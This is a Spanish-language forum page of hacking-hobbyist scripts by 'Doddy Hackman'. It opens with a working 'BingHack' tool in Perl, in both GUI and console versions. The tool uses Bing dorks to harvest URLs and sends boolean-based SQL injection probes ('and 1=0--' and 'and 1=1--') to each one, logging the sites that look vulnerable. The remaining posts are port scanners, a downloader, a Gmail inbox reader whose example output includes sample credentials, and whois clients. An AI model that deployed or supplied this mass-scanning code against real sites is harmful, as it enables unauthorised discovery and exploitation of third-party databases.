            -buttons          => ["OK"],
            -text             => "Logs not found",
            -background       => $color_fondo,
            -foreground       => $color_text,
            -activebackground => $color_text
        )->Show();
    }
}

sub sql {
    my ( $pass1, $pass2 ) = ( "+", "--" );
    my $page = shift;

    my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
    my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );

    unless ( $testar1 eq $testar2 ) {
        $founds->insert( "end", $page );
        savefile( "sql-logs.txt", $page );
    }
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub bing {

    my ( $a, $b ) = @_;
    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
        $hj->update;
        my $code =
          toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );

        while ( $code =~ /<h3><a href="(.*?)"/mig ) {
            push( @founds, $1 );
        }
    }
    my @founds = repes( cortar(@founds) );
    return @founds;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub cortar {
    my @nuevo;
    for (@_) {
        if ( $_ =~ /=/ ) {
            @tengo = split( "=", $_ );
            push( @nuevo, @tengo[0] . "=" );
        }
        else {
            push( @nuevo, $_ );
        }
    }
    return @nuevo;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?
#260
Perl / [Perl] BingHack Tool 0.1
Mayo 26, 2012, 09:05:25 AM
Un simple script en perl para buscar paginas vulnerables a SQLi usando Bing.

El codigo

Código: perl

#!usr/bin/perl
#BingHack Tool 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();
print "\n\n[+] Dork : ";
chomp( my $dork = <stdin> );
print "\n[+] Pages : ";
chomp( my $pags = <stdin> );
print "\n[+] Searching ...\n";
my @urls = bing( $dork, $pags );
print "\n[+] Pages Found : " . int(@urls) . "\n";
print "\n[+] Scanning ...\n\n";

for my $pa (@urls) {
    sql($pa);
}
print "\n[+] Finished\n";

copyright();

sub sql {
    my ( $pass1, $pass2 ) = ( "+", "--" );
    my $page = shift;

    my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
    my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );

    unless ( $testar1 eq $testar2 ) {
        print "[+] SQLI : $page\a\n";
        savefile( "sql-logs.txt", $page );
    }
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub bing {

    my ( $a, $b ) = @_;
    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
        my $code =
          toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );

        while ( $code =~ /<h3><a href="(.*?)"/mig ) {
            push( @founds, $1 );
        }
    }
    my @founds = repes( cortar(@founds) );
    return @founds;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub cortar {
    my @nuevo;
    for (@_) {
        if ( $_ =~ /=/ ) {
            @tengo = split( "=", $_ );
            push( @nuevo, @tengo[0] . "=" );
        }
        else {
            push( @nuevo, $_ );
        }
    }
    return @nuevo;
}

sub head {
    print qq(

@@@@   @             @    @              @        @@@@@              @
@   @                @    @              @          @                @
@   @                @    @              @          @                @
@   @  @ @ @@   @@@@ @    @   @@@   @@@  @  @       @     @@@   @@@  @
@@@@   @ @@  @ @   @ @@@@@@      @ @   @ @ @        @    @   @ @   @ @
@   @  @ @   @ @   @ @    @   @@@@ @     @@         @    @   @ @   @ @
@   @  @ @   @ @   @ @    @  @   @ @     @ @        @    @   @ @   @ @
@   @  @ @   @ @   @ @    @  @   @ @   @ @  @       @    @   @ @   @ @
@@@@   @ @   @  @@@@ @    @   @@@@  @@@  @   @      @     @@@   @@@  @
                    @                                                 
                @@@@                                                   

);
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

sub toma {
    return $nave->get( $_[0] )->content;
}

# The End ?
#261
Perl / [Perl Tk] Scan Port 0.6
Mayo 19, 2012, 12:27:28 PM
Nueva version Tk de un scanner de puertos que hice.

Una imagen



El codigo

Código: perl

#!usr/bin/perl
#ScanPort 0.6
#Version Tk
#Coded By Doddy H

use Tk;
use IO::Socket;

my $color_fondo = "black";
my $color_texto = "green";

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $kax =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$kax->geometry("422x130+20+20");
$kax->resizable( 0, 0 );
$kax->title("Scan Port 0.6 || Coded By Doddy H");

$kax->Label(
    -text       => "Host : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $hostx = $kax->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 68, -y => 26 );
$kax->Label(
    -text       => "From port : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 50 );
my $startx = $kax->Entry(
    -width      => 8,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 100, -y => 55 );
$kax->Label(
    -text       => "To : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 170, -y => 50 );
my $endx = $kax->Entry(
    -width      => 8,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 200, -y => 55 );

$kax->Label(
    -text       => "Progress : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 84 );
my $tatus = $kax->Entry(
    -width      => 8,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 100, -y => 90 );
$kax->Button(
    -text             => "Fast",
    -width            => 6,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&scanuno
)->place( -x => 158, -y => 88 );
$kax->Button(
    -text             => "Full",
    -width            => 6,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&scandos
)->place( -x => 208, -y => 88 );

$kax->Label(
    -text       => "Port Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 305, -y => 20 );
my $porters = $kax->Listbox(
    -width      => 20,
    -height     => 4,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 280, -y => 50 );

MainLoop;

sub scanuno {

    my %ports = (
        "21"   => "ftp",
        "22"   => "ssh",
        "25"   => "smtp",
        "80"   => "http",
        "110"  => "pop3",
        "3306" => "mysql"
    );

    $porters->delete( "0.0", "end" );
    $tatus->configure( -text => " " );

    for my $port ( keys %ports ) {
        $kax->update;
        $tatus->configure( -text => $port );
        if (
            new IO::Socket::INET(
                PeerAddr => $hostx->get,
                PeerPort => $port,
                Proto    => "tcp",
                Timeout  => 0.5
            )
          )
        {
            $porters->insert( "end", $port );
        }
    }
    $tatus->configure( -text => " " );
}

sub scandos {

    $porters->delete( "0.0", "end" );
    $tatus->configure( -text => " " );

    for my $port ( $startx->get .. $endx->get ) {
        $kax->update;
        $tatus->configure( -text => $port );
        if (
            new IO::Socket::INET(
                PeerAddr => $hostx->get,
                PeerPort => $port,
                Proto    => "tcp",
                Timeout  => 0.5
            )
          )
        {
            $porters->insert( "end", $port );
        }
    }
    $tatus->configure( -text => " " );
}

# The End ?


#262
Perl / [Perl] Scan Port 0.6
Mayo 19, 2012, 12:27:20 PM
Un simple scanner port hecho en Perl.

Código: perl

#!usr/bin/perl
#ScanPort 0.6
#Coded By Doddy H
#Examples
#perl scan.pl -target localhost -option fast
#perl scan.pl -target localhost -option full -parameters 1-100

use IO::Socket;
use Getopt::Long;

GetOptions(
    "-target=s"     => \$target,
    "-option=s"     => \$opcion,
    "-parameters=s" => \$parameters
);

head();
unless ($target) {
    sintax();
}
else {
    if ( $opcion eq "fast" ) {
        scanuno($target);
    }
    if ( $opcion eq "full" and $parameters ) {
        if ( $parameters =~ /(.*)-(.*)/ ) {
            my $start = $1;
            my $end   = $2;
            scandos( $target, $start, $end );
        }
    }
}

copyright();

sub scanuno {

    my %ports = (
        "21"   => "ftp",
        "22"   => "ssh",
        "25"   => "smtp",
        "80"   => "http",
        "110"  => "pop3",
        "3306" => "mysql"
    );

    print "\n[+] Scanning $_[0]\n\n\n";

    for my $port ( keys %ports ) {

        if (
            new IO::Socket::INET(
                PeerAddr => $_[0],
                PeerPort => $port,
                Proto    => "tcp",
                Timeout  => 0.5
            )
          )
        {
            print "[+] Port Found : "
              . $port
              . " [Service] : "
              . $ports{$port} . "\n";
        }
    }
    print "\n\n[+] Scan Finished\n";
}

sub scandos {

    print "\n[+] Scanning $_[0]\n\n\n";

    for my $port ( $_[1] .. $_[2] ) {

        if (
            new IO::Socket::INET(
                PeerAddr => $_[0],
                PeerPort => $port,
                Proto    => "tcp",
                Timeout  => 0.5
            )
          )
        {
            print "[+] Port Found : $port\n";
        }
    }
    print "\n\n[+] Scan Finished\n";
}

sub head {
    print "\n-- == ScanPort 0.6 == --\n\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
}

sub sintax {
    print
"\n[+] sintax : $0 -target <target> -option fast/full -parameters <1-9999>\n";
}

# The End ?

#263
Perl / [Perl Tk] Simple Downloader 0.1
Mayo 05, 2012, 09:18:33 PM
Version Tk de un simple programa en Perl para bajar archivos.

Una imagen



El codigo

Código: perl

#!usr/bin/perl
#Simple downloader 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::Dialog;
use LWP::UserAgent;
use URI::Split qw(uri_split);

my $color_fondo = "black";
my $color_texto = "green";

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(20);

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $dron =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$dron->geometry("430x70+20+20");
$dron->resizable( 0, 0 );
$dron->title("Simple Downloader 0.1 || [+] Status : <None>");

$dron->Label(
    -text       => "URL : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $pre = $dron->Entry(
    -width      => 45,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 60, -y => 27 );
$dron->Button(
    -command          => \&now,
    -text             => "Download",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 340, -y => 25 );

MainLoop;

sub now {

    my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $pre->get );
    $dron->title("Simple Downloader 0.1 || [+] Status : Downloading..");
    if ( $path =~ /(.*)\/(.*)$/ ) {
        my $file = $2;
        if ( download( $pre->get, $file ) ) {
            $dron->Dialog(
                -title            => "OK",
                -buttons          => ["OK"],
                -text             => "File downloaded",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
        }
        else {
            $dron->Dialog(
                -title            => "Error",
                -buttons          => ["OK"],
                -text             => "Error",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
        }
    }
    $dron->title("Simple Downloader 0.1 || [+] Status : <None>");
}

sub download {
    if ( $nave->mirror( $_[0], $_[1] ) ) {
        if ( -f $_[1] ) {
            return true;
        }
    }
}

#The End ?

#264
Perl / [Perl] Simple Downloader 0.1
Mayo 05, 2012, 09:18:24 PM
Un simple script en perl para bajar archivos.

Código: perl

#!usr/bin/perl
#Simple downloader 0.1
#Coded By Doddy H

use LWP::UserAgent;
use URI::Split qw(uri_split);

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(20);

head();
unless ( $ARGV[0] ) {
    sintax();
}
else {
    now( $ARGV[0] );
}
copyright();

sub now {

    my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );

    if ( $path =~ /(.*)\/(.*)$/ ) {
        my $file = $2;
        print "\n[+] Downloading ....\n";
        if ( download( $_[0], $file ) ) {
            print "\n[+] File downloaded\n";
        }
        else {
            print "\n[-] Error\n";
        }
    }
}

sub sintax {
    print "\n[+] Sintax : $0 <url>\n";
}

sub head {
    print "\n-- == Simple Downloader == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    exit(1);
}

sub download {
    if ( $nave->mirror( $_[0], $_[1] ) ) {
        if ( -f $_[1] ) {
            return true;
        }
    }
}

#The End ?


#265
Perl / [Perl Tk] Gmail Inbox 0.1
Abril 28, 2012, 11:47:05 AM
Un simple programa en Perl para leer el correo usando Gmail.

Una imagen



El codigo

Código: perl

#!usr/bin/perl
#Gmail Inbox 0.1
#Version Tk
#Coded By Doddy H
#Modules
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#http://search.cpan.org/~fays/GMail-Checker-1.04/Checker.pm

use Tk;
use Tk::HList;
use Tk::ROText;
use GMail::Checker;
use HTML::Strip;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $yeahfucktk = MainWindow->new();
$yeahfucktk->title(
    "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>");
$yeahfucktk->geometry("870x220+20+20");
$yeahfucktk->resizable( 0, 0 );

my $agen = $yeahfucktk->Scrolled( HList,
    -columns    => 4,
    -header     => 1,
    -width      => 80,
    -scrollbars => "se"
)->place( -x => 20, -y => 20 );

$agen->headerCreate( 0, -text => "ID" );
$agen->headerCreate( 1, -text => "From" );
$agen->headerCreate( 2, -text => "Subject" );
$agen->headerCreate( 3, -text => "Date" );

$agen->bind( "<Double-1>", [ \&yeah ] );

$yeahfucktk->Label( -text => "Gmail Login", -font => "Impact" )
  ->place( -x => 650, -y => 20 );
$yeahfucktk->Label( -text => "Username : ", -font => "Impact1" )
  ->place( -x => 565, -y => 68 );
my $username = $yeahfucktk->Entry( -width => 30 )->place( -x => 653, -y => 73 );
$yeahfucktk->Label( -text => "Password : ", -font => "Impact1" )
  ->place( -x => 565, -y => 100 );
my $password =
  $yeahfucktk->Entry( -width => 30, -show => "*" )
  ->place( -x => 653, -y => 103 );
$yeahfucktk->Button(
    -text    => "Messages list",
    -width   => 20,
    -command => \&startnow
)->place( -x => 640, -y => 150 );

MainLoop;

sub startnow {
    $agen->delete( "all", 0 );
    my $total = total( $username->get, $password->get );
    $yeahfucktk->title(
"Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : $total messages found"
    );

    for ( reverse 1 .. $total ) {
        $yeahfucktk->update;
        $yeahfucktk->title(
"Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : Getting message $_"
        );
        my ( $from, $asunto, $date ) =
          getdata( $username->get, $password->get, $_ );

        $agen->add($_);
        $agen->itemCreate( $_, 0, -text => $_ );
        $agen->itemCreate( $_, 1, -text => $from );
        $agen->itemCreate( $_, 2, -text => $asunto );
        $agen->itemCreate( $_, 3, -text => $date );

    }
    $yeahfucktk->title(
        "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>");
}

sub total {
    my $mod_total = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
    my ( $a, $b ) = $mod_total->get_msg_nb_size("TOTAL_MSG");
    return $a;
}

sub getdata {

    my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
    my @msg = $mod_msg->get_msg( MSG => $_[2] );

    my $mas = $msg[0]->{headers};

    if ( $mas =~ /From: (.*)/ig ) {
        $from = $1;
    }

    if ( $mas =~ /Subject: (.*)/ig ) {
        $asunto = $1;
    }

    if ( $mas =~ /Date: (.*)/ig ) {
        $date = $1;
    }
    return ( $from, $asunto, $date );
}

sub yeah {
    my @ar = $agen->selectionGet();
    openmessage( $username->get, $password->get, $ar[0] );
}

sub openmessage {

    my $cons = MainWindow->new();
    $cons->geometry("500x350+20+20");
    $cons->resizable( 0, 0 );
    $cons->title("Reading message");

    my $conso = $cons->Scrolled(
        "ROText",
        -width      => 70,
        -height     => 40,
        -scrollbars => "e"
    )->pack();

    my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );

    my @msg = $mod_msg->get_msg( MSG => $_[2] );

    $conso->insert( "end", "[+] ID : $_[2]\n" );

    my $mas = $msg[0]->{headers};

    if ( $mas =~ /From: (.*)/ig ) {
        my $from = $1;
        $conso->insert( "end", "[+] From : $from\n" );
    }

    if ( $mas =~ /To: (.*)/ig ) {
        my $to = $1;
        $conso->insert( "end", "[+] To : $to\n" );
    }

    if ( $mas =~ /Subject: (.*)/ig ) {
        my $asunto = $1;
        $conso->insert( "end", "[+] Subject : $asunto\n" );
    }

    if ( $mas =~ /Date: (.*)/ig ) {
        my $date = $1;
        $conso->insert( "end", "[+] Date : $date\n\n" );
    }

    my $text = $msg[0]->{body};
    if ( $text =~
        /<body class=3D'hmmessage'><div dir=3D'ltr'>(.*?)<\/div><\/body>/sig )
    {
        my $body = $1;
        $body =~ s/<br>/\n/g;

        my $uno = HTML::Strip->new( emit_spaces => 1 );
        my $body = $uno->parse($body);
        $conso->insert( "end", $body );
    }
}

#The End ?
#266
Perl / [Perl] Gmail Inbox 0.1
Abril 28, 2012, 11:46:57 AM
Acabo de terminar un simple programa en Perl para poder leer mis mensajes de mi cuenta de correo Gmail , no es nada del otro mundo solo ponen el usuario y la contraseña de la cuenta y el programa carga un menu en el cual pueden listar todos los mensajes o leer un mensaje completo.

El codigo

Código: perl

#!usr/bin/perl
#Gmail Inbox 0.1
#Coded By Doddy H
#Modules
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#http://search.cpan.org/~fays/GMail-Checker-1.04/Checker.pm

use GMail::Checker;
use HTML::Strip;

head();

print "\n\n[+] Username : ";
chomp( my $user = <stdin> );
print "\n[+] Password : ";
chomp( my $pass = <stdin> );

while (1) {
    print "\n\n[+] Options\n\n";
    print "[1] : Messages list\n";
    print "[2] : Read Message\n";
    print "[3] : Exit\n\n";
    print "[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "1" ) {
        listar( $user, $pass );
    }
    elsif ( $op eq "2" ) {
        print "\n[+] ID : ";
        chomp( my $id = <stdin> );
        getallmsg( $user, $pass, $id );
    }
    elsif ( $op eq "3" ) {
        copyright();
    }
    else {
        print "\n\n[-] Bad Option\n\n";
    }
}

sub listar {

    my $total = total( $_[0], $_[1] );
    print "\n[+] Messages found : $total\n\n";

    for my $num ( 1 .. $total ) {
        getdata( $_[0], $_[1], $num );
    }
}

sub total {
    my $mod_total = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );
    my ( $a, $b ) = $mod_total->get_msg_nb_size("TOTAL_MSG");
    return $a;
}

sub getdata {

    my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );

    my @msg = $mod_msg->get_msg( MSG => $_[2] );

    print "\n[+] ID : $_[2]\n\n";

    my $mas = $msg[0]->{headers};

    if ( $mas =~ /From: (.*)/ig ) {
        my $from = $1;
        print "[+] From : $from\n";
    }

    if ( $mas =~ /Subject: (.*)/ig ) {
        my $asunto = $1;
        print "[+] Subject : $asunto\n";
    }

    if ( $mas =~ /Date: (.*)/ig ) {
        my $date = $1;
        print "[+] Date : $date\n";
    }

}

sub getallmsg {

    print "\n[+] Reading message\n\n";

    my $mod_msg = new GMail::Checker( USERNAME => $_[0], PASSWORD => $_[1] );

    my @msg = $mod_msg->get_msg( MSG => $_[2] );

    print "[+] ID : $_[2]\n\n";

    my $mas = $msg[0]->{headers};

    if ( $mas =~ /From: (.*)/ig ) {
        my $from = $1;
        print "[+] From : $from\n";
    }

    if ( $mas =~ /To: (.*)/ig ) {
        my $to = $1;
        print "[+] To : $to\n";
    }

    if ( $mas =~ /Subject: (.*)/ig ) {
        my $asunto = $1;
        print "[+] Subject : $asunto\n";
    }

    if ( $mas =~ /Date: (.*)/ig ) {
        my $date = $1;
        print "[+] Date : $date\n";
    }

    my $text = $msg[0]->{body};
    if ( $text =~
        /<body class=3D'hmmessage'><div dir=3D'ltr'>(.*?)<\/div><\/body>/sig )
    {
        my $body = $1;
        $body =~ s/<br>/\n/g;

        my $uno = HTML::Strip->new( emit_spaces => 1 );
        my $body = $uno->parse($body);

        print "\n\n[Body Start]\n\n";
        print $body;
        print "\n\n[Body End]\n\n";
    }
}

sub head {
    print qq(

  @@@@                 @ @    @        @               
@    @                  @    @        @               
@                       @    @        @               
@       @@@ @@   @@@  @ @    @  @ @@  @@@@   @@@  @  @
@  @@@  @  @  @     @ @ @    @  @@  @ @   @ @   @ @  @
@    @  @  @  @  @@@@ @ @    @  @   @ @   @ @   @  @@
@    @  @  @  @ @   @ @ @    @  @   @ @   @ @   @  @@
@   @@  @  @  @ @   @ @ @    @  @   @ @   @ @   @ @  @
  @@@ @  @  @  @  @@@@ @ @    @  @   @ @@@@   @@@  @  @

);
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}

#The End ?



Ejemplo de uso

Código: text


  @@@@                 @ @    @        @
@    @                  @    @        @
@                       @    @        @
@       @@@ @@   @@@  @ @    @  @ @@  @@@@   @@@  @  @
@  @@@  @  @  @     @ @ @    @  @@  @ @   @ @   @ @  @
@    @  @  @  @  @@@@ @ @    @  @   @ @   @ @   @  @@
@    @  @  @  @ @   @ @ @    @  @   @ @   @ @   @  @@
@   @@  @  @  @ @   @ @ @    @  @   @ @   @ @   @ @  @
  @@@ @  @  @  @  @@@@ @ @    @  @   @ @@@@   @@@  @  @



[+] Username : lagartojuancho

[+] Password : juancho123


[+] Options

[1] : Messages list
[2] : Read Message
[3] : Exit

[+] Option : 1

[+] Messages found : 8


[+] ID : 1

[+] From : Van Helsing <[email protected]>
[+] Subject : RE: Server just blew up
[+] Date : Mon, 23 Apr 2012 18:55:33 -0300

[+] ID : 2

[+] From : Van Helsing <[email protected]>
[+] Subject : RE: Server just blew up
[+] Date : Mon, 23 Apr 2012 18:56:59 -0300

[+] ID : 3

[+] From : Van Helsing <[email protected]>
[+] Subject : RE: Server just blew up
[+] Date : Mon, 23 Apr 2012 19:07:20 -0300

[+] ID : 4

[+] From : Van Helsing <[email protected]>
[+] Subject : hola tonton
[+] Date : Mon, 23 Apr 2012 19:26:17 -0300

[+] ID : 5

[+] From : Van Helsing <[email protected]>
[+] Subject : hola tonton
[+] Date : Mon, 23 Apr 2012 19:26:21 -0300

[+] ID : 6

[+] From : Van Helsing <[email protected]>
[+] Subject : ASUNTO
[+] Date : Mon, 23 Apr 2012 19:30:10 -0300

[+] ID : 7

[+] From : Van Helsing <[email protected]>
[+] Subject : ASUNTO FINAL
[+] Date : Tue, 24 Apr 2012 12:39:14 -0300

[+] ID : 8

[+] From : Van Helsing <[email protected]>
[+] Subject : hola
[+] Date : Wed, 25 Apr 2012 14:13:22 -0300


[+] Options

[1] : Messages list
[2] : Read Message
[3] : Exit

[+] Option :
#267
Perl / [Perl Tk] Whois Online 0.1
Abril 23, 2012, 12:19:23 PM
Version Tk de un cliente whois que funciona mediante una pagina online.

Una imagen


El codigo

Código: perl

#!usr/bin/perl
#Whois Online 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::ROText;
use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "white";

my $newas =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$newas->geometry("400x300+50+50");
$newas->title("Whois Online 0.1 || Coded By Doddy H");
$newas->resizable( 0, 0 );

$newas->Label(
    -text       => "Domain : ",
    -font       => "Impact2",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => "10", -y => "10" );
my $dom = $newas->Entry(
    -width      => "30",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => "85", -y => "13" );

my $console = $newas->Scrolled(
    "ROText",
    -scrollbars => "e",
    -width      => 36,
    -height     => 15,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 15, -y => 50 );

$newas->Button(
    -text             => "Search",
    -command          => \&buscar,
    -width            => "10",
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 310, -y => "50" );
$newas->Button(
    -text             => "Clean",
    -command          => \&limpiar,
    -width            => "10",
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 310, -y => "80" );
$newas->Button(
    -text             => "Exit",
    -command          => \&salir,
    -width            => "10",
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 310, -y => "110" );

MainLoop;

sub buscar {
    $console->delete( "0.1", "end" );
    my $target = $dom->get;
    $newas->update;
    $console->insert( "end", whois($target) );
    $newas->update;
}

sub limpiar {
    $console->delete( "0.1", "end" );
    $dom->delete( "0.1", "end" );
}

sub salir {
    exit 1;
}

sub whois {

    my $ob   = shift;
    my $code = tomar(
        "http://networking.ringofsaturn.com/Tools/whois.php",
        { "domain" => $ob, "submit" => "submit" }
    );

    my @chau = ( "&quot;", "&gt;&gt;&gt;", "&lt;&lt;&lt;" );

    if ( $code =~ /<pre>(.*?)<\/pre>/sig ) {
        my $resul = $1;
        chomp $resul;

        for my $cha (@chau) {
            $resul =~ s/$cha//ig;
        }

        if ( $resul =~ /Whois Server Version/ ) {
            return $resul;
        }
        else {
            return "Not Found";
        }
    }
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

# The End ?

#268
Perl / [Perl] Whois Online 0.1
Abril 23, 2012, 12:18:41 PM
Debido a problemas con el modulo Net::Whois::Raw me vi obligado a realizar un whois mediante una pagina online.

Código: perl

#!usr/bin/perl
#Whois Online 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();
if ( $ARGV[0] ) {
    print whois( $ARGV[0] );
}
else {
    sintax();
}
copyright();

sub sintax {
    print "\n[+] Sintax : $0 <domain>\n";
}

sub head {
    print "\n-- == Whois Online 0.1 == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    exit(1);
}

sub whois {

    my $ob   = shift;
    my $code = tomar(
        "http://networking.ringofsaturn.com/Tools/whois.php",
        { "domain" => $ob, "submit" => "submit" }
    );

    my @chau = ( "&quot;", "&gt;&gt;&gt;", "&lt;&lt;&lt;" );

    if ( $code =~ /<pre>(.*?)<\/pre>/sig ) {
        my $resul = $1;
        chomp $resul;

        for my $cha (@chau) {
            $resul =~ s/$cha//ig;
        }

        if ( $resul =~ /Whois Server Version/ ) {
            return $resul;
        }
        else {
            return "Not Found";
        }
    }
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

# The End ?

#269
Python / [Python] Whois Online 0.1
Abril 23, 2012, 12:18:27 PM
Un simple script en Python para realizar un whois de forma online (mediante una pagina).

Código: python

#!usr/bin/python
#Whois Online 0.1
#Coded By Doddy H

import urllib2,sys,re

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def tomar(web,vars) :
return nave.open(web,vars).read()

def head():
print "\n-- == Whois Online 0.1 == --\n\n"

def copyright():
print "\n(C) Doddy Hackman 2012\n"
sys.exit(1)

def sintax():
print "[+] Sintax : ",sys.argv[0]," <domain>\n"

def whois(domain):
try:
  code = tomar("http://networking.ringofsaturn.com/Tools/whois.php","domain="+domain+"&"+"submit=submit")
  if (re.findall("<PRE>(.*?)<\/PRE>",code,re.S)):
   found = re.findall("<PRE>(.*?)<\/PRE>",code,re.S)
   resul = found[0]
   resul = re.sub("&quot;","",resul)
   resul = re.sub("&gt;&gt;&gt;","",resul)
   resul = re.sub("&lt;&lt;&lt;","",resul)
   return resul
  else:
   return "Not Found"
except:
  print "[-] Page offline\n"

head()
if len(sys.argv) != 2 :
sintax()
else :
print whois(sys.argv[1])
copyright()

# The End


#270
Ruby / [Ruby] Whois Online 0.1
Abril 23, 2012, 12:18:08 PM
Un simple script en Ruby para hacer un whois al dominio que quieran.

Código: ruby

#!usr/bin/ruby
#Whois Online 0.1
#Coded BY Doddy H

require "net/http"

def head()
  print "\n-- == Whois Online 0.1 == --\n\n"
end

def sintax()
  print "\n[+] Sintax : ruby domain.rb <domain>\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
end

def tomar(web,par)
  return Net::HTTP.post_form(URI.parse(web),par).body
end

def whois(dom)
  code = tomar("http://networking.ringofsaturn.com/Tools/whois.php",{"domain"=>dom,"submit"=>"submit"})
